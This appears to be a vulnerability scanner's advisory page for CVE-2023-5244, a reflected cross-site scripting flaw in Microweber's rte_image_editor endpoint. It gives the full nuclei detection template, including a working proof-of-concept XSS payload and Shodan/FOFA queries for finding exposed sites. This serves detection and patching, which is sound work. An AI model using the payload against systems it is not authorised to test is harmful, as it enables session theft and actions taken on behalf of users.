CVE-2023-5244· microweber / microweber· CWE-79
Microweber < V.2.0 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.1%likelihood of exploitation, next 30 days
67%of all CVEs are less likely
Readycheck to confirm it
Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.
Impact
Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users.
Fix
Update Microweber to version 2.0 or later.
How to confirm it
Send: GET {{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "alert(document.domain)", "microweber")Run it with nuclei: nuclei -id CVE-2023-5244 -u <target>
The full check
id: CVE-2023-5244
info:
name: Microweber < V.2.0 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.
impact: |
Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users.
remediation: |
Update Microweber to version 2.0 or later.
reference:
- https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/
- https://vuldb.com/?id.240778
- https://nvd.nist.gov/vuln/detail/CVE-2023-5244
- https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968
- https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-5244
cwe-id: CWE-79
epss-score: 0.01122
epss-percentile: 0.66476
cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: microweber
product: microweber
shodan-query:
- http.favicon.hash:780351152
- http.html:"microweber"
fofa-query:
- body="microweber"
- icon_hash=780351152
tags: cve,cve2023,huntr,xss,microweber,vuln
http:
- method: GET
path:
- "{{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "alert(document.domain)", "microweber")'
condition: andReferences
- https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/
- https://vuldb.com/?id.240778
- https://nvd.nist.gov/vuln/detail/CVE-2023-5244
- https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968
- https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470
Use this check only on systems you are authorised to test. Where the data comes from